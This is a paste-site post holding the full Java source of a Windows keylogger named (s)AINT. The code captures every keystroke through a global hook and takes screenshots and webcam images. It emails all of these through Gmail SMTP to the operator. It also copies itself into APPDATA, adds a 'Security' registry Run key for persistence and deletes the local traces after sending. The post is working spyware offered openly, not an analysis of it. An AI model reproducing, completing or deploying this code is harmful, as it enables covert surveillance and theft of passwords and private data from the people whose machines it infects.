Java keylogger


SUBMITTED BY: xxHalfamazingxx

DATE: March 27, 2020, 4:46 a.m.

FORMAT: Text only

SIZE: 12.6 kB

HITS: 567

  1. package saint.keylogger;
  2. import saint.email.SendEmail;
  3. import saint.screenshot.Screenshot;
  4. import saint.webcam.Cam;
  5. import java.io.BufferedWriter;
  6. import java.io.File;
  7. import java.io.FileInputStream;
  8. import java.io.FileOutputStream;
  9. import java.io.FileWriter;
  10. import java.io.IOException;
  11. import java.nio.channels.FileChannel;
  12. import java.text.DateFormat;
  13. import java.text.SimpleDateFormat;
  14. import java.util.Date;
  15. import java.util.logging.Level;
  16. import org.jnativehook.GlobalScreen;
  17. import org.jnativehook.NativeHookException;
  18. import org.jnativehook.keyboard.NativeKeyEvent;
  19. import org.jnativehook.keyboard.NativeKeyListener;
  20. /**
  21. *
  22. * @author tiagorlampert
  23. */
  24. public class Keylogger extends javax.swing.JFrame implements NativeKeyListener {
  25. private static DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd");
  26. private static DateFormat dateFormatHour = new SimpleDateFormat("yyyy-MM-dd HH-mm-ss");
  27. private static String folder = "\\(s)AINT";
  28. private static String environment_variable_path = "APPDATA";
  29. private static String path_logs = "\\Logs\\";
  30. private static String path_screenshot = "\\Screenshot\\";
  31. private static String path_cam = "\\Cam\\";
  32. private static String app_path;
  33. private static String nameFileScreenshot;
  34. private static String nameFileCam;
  35. private static String logs = "";
  36. private static String logs_send = "";
  37. private static String smtp = "smtp.gmail.com";
  38. private static String email_from = "email@gmail.com";
  39. private static String email_password = "passwordemail";
  40. private static String email_to = "email@gmail.com";
  41. private static String subject = "(s)AINT";
  42. private static String port = "";
  43. private static int cam_width = 640;
  44. private static int cam_height = 480;
  45. private static int count = countNumber;
  46. private static int count_state = 0;
  47. private static boolean ssl = true;
  48. private static boolean tls = false;
  49. private static boolean debug_email = true;
  50. private static boolean screenshot = booleanScreenshot;
  51. private static boolean cam = booleanCam;
  52. private static boolean persistence = booleanPersistence;
  53. private static boolean keepdata = booleanKeepData;
  54. private static String name_jar = "\\saint.jar";
  55. public static void main(String[] args) throws IOException {
  56. detectOS();
  57. app_path = System.getenv(environment_variable_path) + folder;
  58. createFolder(app_path);
  59. createFolder(app_path + path_logs);
  60. createFolder(app_path + path_screenshot);
  61. createFolder(app_path + path_cam);
  62. if (persistence == true) {
  63. copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
  64. }
  65. try {
  66. GlobalScreen.registerNativeHook();
  67. } catch (NativeHookException ex) {
  68. java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
  69. }
  70. GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
  71. }
  72. private static void copyFile(String source, String dest) {
  73. File jar_file = new File(app_path + name_jar);
  74. if (!jar_file.exists()) {
  75. File sourceFile = new File(source);
  76. File destFile = new File(dest);
  77. FileChannel sourceChannel = null;
  78. FileChannel destChannel = null;
  79. try {
  80. sourceChannel = new FileInputStream(sourceFile).getChannel();
  81. destChannel = new FileOutputStream(destFile).getChannel();
  82. destChannel.transferFrom(sourceChannel, 0, sourceChannel.size());
  83. } catch (IOException e) {
  84. e.printStackTrace();
  85. }
  86. try {
  87. Runtime.getRuntime().exec("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Security\" /t REG_SZ /F /D \""+app_path+name_jar+"\"");
  88. } catch (IOException ex) {
  89. System.out.println(ex.getMessage());
  90. }
  91. }
  92. }
  93. private static void createFolder(String path) {
  94. new File(path).mkdir();
  95. }
  96. private static void deleteFolder(String path) {
  97. File folder = new File(path);
  98. File[] files = folder.listFiles();
  99. for (File file : files) {
  100. file.delete();
  101. }
  102. }
  103. private static void deleteData() {
  104. if (!keepdata) {
  105. deleteFolder(app_path + path_logs);
  106. deleteFolder(app_path + path_screenshot);
  107. deleteFolder(app_path + path_cam);
  108. }
  109. }
  110. private static void detectOS() {
  111. if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
  112. System.out.println("[!] OS is not supported!");
  113. System.exit(0);
  114. }
  115. }
  116. public void SaveLogs(String c) {
  117. logs += c;
  118. count_state += 1;
  119. try (BufferedWriter bw = new BufferedWriter(new FileWriter(app_path + path_logs + dateFormat.format(new Date()) + ".txt", true))) {
  120. bw.write(c);
  121. } catch (IOException e) {
  122. e.printStackTrace();
  123. }
  124. // System.out.println("Logs: " + logs);
  125. // System.out.println("Count: " + count_state);
  126. if (count_state >= count) {
  127. count_state = 0;
  128. logs_send = logs;
  129. logs = "";
  130. if (screenshot == true && cam == true) {
  131. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  132. sendAll();
  133. } else if (screenshot == true && cam == false) {
  134. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  135. sendScreenshot();
  136. } else if (screenshot == false && cam == true) {
  137. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  138. sendCam();
  139. } else if (screenshot == false && cam == false) {
  140. Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
  141. send();
  142. }
  143. }
  144. }
  145. public void sendAll() {
  146. try {
  147. nameFileScreenshot = dateFormatHour.format(new Date()).toString();
  148. Screenshot.TakeScreenshot(app_path + path_screenshot, dateFormatHour.format(new Date()));
  149. nameFileCam = dateFormatHour.format(new Date()).toString();
  150. Cam.Capture(app_path + path_cam, dateFormatHour.format(new Date()), cam_width, cam_height);
  151. } catch (Exception ex) {
  152. System.out.println(ex.getMessage());
  153. }
  154. new Thread(() -> {
  155. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  156. e.sendEmailAttachment(
  157. email_to,
  158. subject,
  159. logs_send,
  160. app_path + path_screenshot + nameFileScreenshot + ".jpg",
  161. app_path + path_cam + nameFileCam + ".png",
  162. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  163. );
  164. deleteData();
  165. }).start();
  166. }
  167. public void sendScreenshot() {
  168. try {
  169. nameFileScreenshot = dateFormatHour.format(new Date()).toString();
  170. Screenshot.TakeScreenshot(app_path + path_screenshot, dateFormatHour.format(new Date()));
  171. } catch (Exception ex) {
  172. System.out.println(ex.getMessage());
  173. }
  174. new Thread(() -> {
  175. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  176. e.sendEmailAttachment(
  177. email_to,
  178. subject,
  179. logs_send,
  180. app_path + path_screenshot + nameFileScreenshot + ".jpg",
  181. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  182. );
  183. deleteData();
  184. }).start();
  185. }
  186. public void sendCam() {
  187. try {
  188. nameFileCam = dateFormatHour.format(new Date()).toString();
  189. Cam.Capture(app_path + path_cam, dateFormatHour.format(new Date()), cam_width, cam_height);
  190. } catch (Exception ex) {
  191. System.out.println(ex.getMessage());
  192. }
  193. new Thread(() -> {
  194. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  195. e.sendEmailAttachment(
  196. email_to,
  197. subject,
  198. logs_send,
  199. app_path + path_cam + nameFileCam + ".png",
  200. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  201. );
  202. deleteData();
  203. }).start();
  204. }
  205. public void send() {
  206. new Thread(() -> {
  207. SendEmail e = new SendEmail(smtp, email_from, email_password, port, ssl, tls, debug_email);
  208. e.sendEmailAttachment(
  209. email_to,
  210. subject,
  211. logs_send,
  212. app_path + path_logs + dateFormat.format(new Date()) + ".txt"
  213. );
  214. deleteData();
  215. }).start();
  216. }
  217. @Override
  218. public void nativeKeyPressed(NativeKeyEvent nke) {
  219. // System.out.println(nke.getRawCode());
  220. switch (nke.getRawCode()) {
  221. case 8:
  222. SaveLogs("[Backspace]");
  223. break;
  224. case 9:
  225. SaveLogs("[Tab]");
  226. break;
  227. case 13:
  228. SaveLogs("[Enter]");
  229. break;
  230. // case 19:
  231. // SaveLogs("[PauseBreak]");
  232. // break;
  233. // case 27:
  234. // SaveLogs("[Esc]");
  235. // break;
  236. // case 33:
  237. // SaveLogs("[PgUp]");
  238. // break;
  239. // case 34:
  240. // SaveLogs("[PgDown]");
  241. // break;
  242. // case 35:
  243. // SaveLogs("[End]");
  244. // break;
  245. // case 36:
  246. // SaveLogs("[Home]");
  247. // break;
  248. // case 37:
  249. // SaveLogs("[Left]");
  250. // break;
  251. // case 38:
  252. // SaveLogs("[Up]");
  253. // break;
  254. // case 39:
  255. // SaveLogs("[Right]");
  256. // break;
  257. // case 40:
  258. // SaveLogs("[Down]");
  259. // break;
  260. // case 44:
  261. // SaveLogs("[PrintScreen]");
  262. // break;
  263. // case 45:
  264. // SaveLogs("[Insert]");
  265. // break;
  266. case 46:
  267. SaveLogs("[Del]");
  268. break;
  269. case 112:
  270. SaveLogs("[F1]");
  271. break;
  272. case 113:
  273. SaveLogs("[F2]");
  274. break;
  275. case 114:
  276. SaveLogs("[F3]");
  277. break;
  278. case 115:
  279. SaveLogs("[F4]");
  280. break;
  281. case 116:
  282. SaveLogs("[F5]");
  283. break;
  284. case 117:
  285. SaveLogs("[F6]");
  286. break;
  287. case 118:
  288. SaveLogs("[F7]");
  289. break;
  290. case 119:
  291. SaveLogs("[F8]");
  292. break;
  293. case 120:
  294. SaveLogs("[F9]");
  295. break;
  296. case 121:
  297. SaveLogs("[F10]");
  298. break;
  299. case 122:
  300. SaveLogs("[F11]");
  301. break;
  302. case 123:
  303. SaveLogs("[F12]");
  304. break;
  305. case 144:
  306. SaveLogs("[NumLock]");
  307. break;
  308. case 162:
  309. SaveLogs("[Ctrl]");
  310. break;
  311. case 163:
  312. SaveLogs("[Ctrl]");
  313. break;
  314. case 164:
  315. SaveLogs("[Alt]");
  316. break;
  317. case 165:
  318. SaveLogs("[Alt]");
  319. break;
  320. }
  321. }
  322. @Override
  323. public void nativeKeyReleased(NativeKeyEvent nke) {
  324. }
  325. @Override
  326. public void nativeKeyTyped(NativeKeyEvent nke) {
  327. SaveLogs(String.valueOf(nke.getKeyChar()));
  328. }
  329. }

comments powered by Disqus